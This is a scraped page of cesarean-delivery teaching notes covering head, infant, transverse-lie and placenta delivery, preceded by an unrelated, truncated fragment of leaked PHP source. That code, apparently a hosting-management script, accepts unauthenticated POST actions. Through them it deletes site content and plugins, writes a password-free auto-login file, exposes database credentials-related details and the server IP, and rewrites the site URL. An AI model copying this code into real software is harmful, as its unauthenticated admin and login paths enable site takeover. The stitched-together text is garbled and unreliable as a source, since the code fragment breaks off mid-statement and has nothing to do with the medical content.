".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($menuobj))."' where option_name='theme_mods_oceanwp' limit 1; "; run_query($q); } //delete other lang menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' ;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' limit 1;"; run_query($q); }else{ //delete ALL whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID not in (373, 375)"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='Twenty Seventeen' where option_name='current_theme' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value='twentyseventeen' where option_name='template' or option_name='stylesheet'"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '373' : '375' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '373' : '375' )."') where option_name='rewrite_rules'"; run_query($q); //delete ALL menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id in (18,5);"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id in (18,5);"; run_query($q); } //delete switch language menu item $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 214 AND term_taxonomy_id = 5 limit 1;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 250 AND term_taxonomy_id = 18 limit 1;"; run_query($q); //unistall polylang $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php'){ ; }else{ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } if($_POST['has_whc_pages'] != 1){ //unistall all plugins except for polylang and litespeed $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php' || $row == 'litespeed-cache/litespeed-cache.php' || $row == 'elementor/elementor.php'){ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } } } user_login; \$user = get_user_by('login', \$username ); if ( !is_wp_error( \$user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( \$user->ID ); wp_set_auth_cookie ( \$user->ID ); \$redirect_to = user_admin_url(); wp_safe_redirect( \$redirect_to ); exit(); } "; fwrite($f, $txt); fclose($f); die('success'); }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'getstate'){ //require(dirname(__FILE__).'/../../wp-blog-header.php'); //require(dirname(__FILE__).'/../../wp-includes/pluggable.php'); require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "select option_value from ".$table_prefix."options where option_name = 'siteurl' limit 1 "; $rows = run_query($q); $return['wp_Domain'] = $rows[0]['option_value']; $return['wp_Version'] = get_bloginfo( 'version' ); $q = "select count(ID) from ".$table_prefix."users "; $rows = run_query($q); $return['num_Users'] = $rows[0]['count(ID)']; $q = "select option_value from ".$table_prefix."options where option_name = 'active_plugins' limit 1 "; $rows = run_query($q); $return['num_Plugins'] = count(unserialize($rows[0]['option_value'])); /* include_once('../../wp-admin/includes/class-wp-site-health-auto-updates.php'); var_dump(WP_Site_Health_Auto_Updates::test_filters_automatic_updater_disabled()); die; */ $return['is_multisite'] = defined('MULTISITE') ? MULTISITE : false ; $return['is_multisite'] = $return['is_multisite'] ? true : ( defined('WP_ALLOW_MULTISITE') ? WP_ALLOW_MULTISITE : false ); $return['autoupdate_Core'] = defined('WP_AUTO_UPDATE_CORE') ? WP_AUTO_UPDATE_CORE : false ; $q = "select option_value from ".$table_prefix."options where option_name = 'WPLANG' limit 1 "; $rows = run_query($q); $return['wpLanguage'] = $rows[0]['option_value'] == 'fr_CA' ? 'French' : 'English'; $return['maintenanceMode'] = function_exists('wp_maintenance_mode') ? 'True' : 'False'; $return['cpanelIP'] = $_SERVER['SERVER_ADDR']; $return['WHCPluginInstalled'] = 'True'; $q = "select option_value from ".$table_prefix."options where option_name = 'blogname' limit 1 "; $rows = run_query($q); $return['wp_BlogName'] = $rows[0]['option_value']; $q = "select option_value from ".$table_prefix."options where option_name = 'template' limit 1 "; $rows = run_query($q); $return['wp_TemplateName'] = $rows[0]['option_value']; $return['db_user'] = DB_USER; $return['db_name'] = DB_NAME; $return['php_version'] = phpversion(); echo "[".json_encode($return)."]"; die; }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'setstate'){ require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "update ".$table_prefix."options set option_value = 'https://wp".intval($_POST['hostingid']).".wpdns.ca' where option_name in ('siteurl','home') limit 2; "; $rows = run_query($q); die('success'); } } CS – Delivery – Rural Surgery & Obstetrics

CS – Delivery

Delivery of the Head

  • Slide your fingers between the head and the lower part of the incision​
  • Keep your hand stiff so it forms a “slide” for the baby’s head while the assistant pushes on the uterine fundus​
  • Don’t fight the contraction, direct the head through the incision during relaxation phase​
  • Assistant may push up from below to dis-impact head wedged deep in the pelvis ​
  • Use a vacuum or forceps for high, floating head, delivery aided by fundal pressure and uterine contraction

The fingers are inserted obliquely into the incision allowing the head to slide over the public bone. You may need to use your fingers to rotate the head into a transverse position.  Fundal pressure is applied by the operator or assistant. ​


Citation: Cesarean Delivery and Peripartum Hysterectomy, Cunningham F, Leveno KJ, Bloom SL, Dashe JS, Hoffman BL, Casey BM, Spong CY. Williams Obstetrics, 25e; 2018. Available at: https://accessmedicine.mhmedical.com/content.aspx?bookid=1918&sectionid=185053089 Accessed: November 07, 2019

This diagram demonstrates the correct hand position.  Avoid the temptation to pivot on the public bone as this motion tends to tear the uterine incision and cause it to extend into lateral blood vessels.​


Delivery of the Head – Floating​

  • One option is to drain liquor slowly with a small amniotic sac incision and feel the head descend before extending the incision​
  • Another is using forceps (one or two blades) or vacuum to assist with extraction​
  • Occasionally internal podalic version can be done to extract baby as a footling breech 

Sometimes the head is high and floating.  Again, patience is a virtue. Cradle the baby’s cheek in your palm, rotate to transverse and apply Simpson’s or Wrigley’s forceps.   A vacuum extractor also works well here.  The head is delivered with the next contraction assisted by fundal pressure.​

Citation: Cesarean Delivery and Peripartum Hysterectomy, Cunningham F, Leveno KJ, Bloom SL, Dashe JS, Hoffman BL, Casey BM, Spong CY. Williams Obstetrics, 25e; 2018. Available at: https://accessmedicine.mhmedical.com/content.aspx?bookid=1918&sectionid=185053089 Accessed: November 07, 2019​

A – the first cesarean forceps blade is placed
B – slight upward and oblique traction is used to lift the head through the incision while the assistant applies fundal pressure.

If the patient has not been in labour or if the amniotic sac is intact, the head may be high and floating.  If the head does not settle in the pelvis and deliver into the uterine incision, forceps or vacuum may be applied to the affect delivery.  The assistant applies pressure to the uterine fundus to deliver the baby as the operator guides the head through the incision.​


Delivery of the Head – Deeply Impacted​

  • Anticipate with prolonged labour or failed instrumental delivery​
  • Prepare for possible vaginal disengagement (discuss with assistant access, technique (3-4 fingers/hand, maintaining flexion) consider modified lithotomy for access​
  • Consider higher uterine incision​
  • Reverse breech extraction (grasp both feet(pull) and apply traction parallel to axis of body to avoid hyperextension​
  • If posterior fetal back deliver one arm then same side leg then other leg followed by other arm and finally the head, if anterior deliver both arms , trunk then both legs,baby’s body turned caudal then head scooped out​
  • Others:  Fetal pillow, consider inverted t incision​

In prolonged labour or after failed instrumental delivery, the head may be wedged deep in the pelvis.  Uterine incision should be done at a slightly higher level.  It is important not to fight the uterine contractions when attempting to slide your fingers beneath the vertex.  Wait for the relaxation phase before advancing your hand.  The head may need to be disimpacted by an assistant pushing up from the vagina.  ​

Delivery of the Infant

Cephalic and Breech

Delivery of the infant is usually straightforward once the head is out. Follow similar maneuvers used in vaginal delivery for cephalic and breech presentations​.

The anterior (A) and then the posterior (B) shoulder are delivered.​

The operator guides the head through the incisions as the assistant applies pressure from the fundus. ​
If shoulders are difficult to delivery the posterior arm can be swept in front of the baby and delivered.  ​


Transverse Lie

  • Transverse lie is converted to breech by grasping one or both ankles​
    • Try to keep membranes intact until version is complete​
    • Intrapartum ultrasound with the transducer covered in a sterile plastic bag may be helpful to identify the position of the fetus​
    • Internal podalic version as the assistant applies transabdominal pressure on the head to aid fetal rotation​
    • Breech extraction  

Transverse lie is a bit trickier and usually involves grasping the ankles and converting the lie to breech by internal podalic version.  In other words, grasp the baby’s ankles and bring the feet into the vagina while an internal hand pushes the head toward the uterine fundus. (if having difficulty finding the heels/ankles the head can be pushed to the fundus first which often makes it easier to find the feet.).  If necessary the uterine incision can be extended by clipping in the midline with bandage scissors creating a t incision.​

The infant is delivered, dried and stimulated.  The cord is clamped after appropriate delay and cut.  The baby is passed to the childcare team.​

Delivery of the Placenta

  • Beware abnormal placentation with previous section​
  • Controlled cord traction preferred​
  • Manual removal if retained placenta​
  • Wipe placental site with sponge or explore manually prn​
  • Bleeding from placental site?​
    • Deep compression sutures​
    • Uterine packing, exit through vagina​
    • Intrauterine balloon (Bakri) placement​
  • Intrauterine contraceptive device may be placed before uterine closure ​

Gentle traction on the cord will generally be sufficient to deliver the placenta intact and is the preferred method. Manual removal is also possible and may provide an educational opportunity to practice manual removal, sometimes required in a vaginal delivery situation.​

Citation: Cesarean Delivery and Peripartum Hysterectomy, Cunningham F, Leveno KJ, Bloom SL, Dashe JS, Hoffman BL, Casey BM, Spong CY. Williams Obstetrics, 25e; 2018. Available at: https://accessmedicine.mhmedical.com/content.aspx?bookid=1918&sectionid=185053089 Accessed: November 07, 2019​
Copyright © 2019 McGraw-Hill Education. All rights reserved​

The placenta bulges through the uterine incision as the uterus contracts. A hand holds the fundus to help aid spontaneous placental separation and the placenta is delivered with controlled cord traction.​

Cord traction plus stabilization of the fundus to deliver the placenta.  Some operators follow the delivery with sponging of the endometrium or manual currettage to ensure no tissue remains.​

Next Section

Updated on February 16, 2022
Was this article helpful?

Related Articles